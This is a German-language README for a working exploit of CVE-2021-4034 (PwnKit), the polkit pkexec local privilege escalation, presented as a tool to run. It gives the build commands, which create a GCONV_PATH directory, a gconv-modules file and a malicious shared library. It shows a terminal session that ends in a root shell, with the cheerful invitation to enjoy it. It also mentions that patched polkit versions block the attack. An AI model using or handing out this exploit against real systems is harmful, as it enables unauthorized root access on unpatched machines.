
Exploit für CVE-2021-4034, eine lokale Rechteausweitung in polkits pkexec, die eine Root-Shell über eine gemeinsam genutzte Bibliothek und GCONV-Pfadmanipulation bereitstellt.
Ein One-Day-Exploit für die Polkit-Privilegieneskalation
Führe einfach make, ./cve-2021-4034 aus und genieße deine Root-Shell.
Die ursprüngliche Sicherheitsmeldung der eigentlichen Autoren findest du hier
Wenn der Exploit funktioniert, erhältst du sofort eine Root-Shell:
localuser@ubuntu-poc:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
localuser@ubuntu-poc:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
Ein Update von polkit auf den meisten Systemen patcht den Exploit. Daher erhältst du die Nutzungshinweise und das Programm beendet sich:
localuser@ubuntu-poc:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
localuser@ubuntu-poc:~/CVE-2021-4034$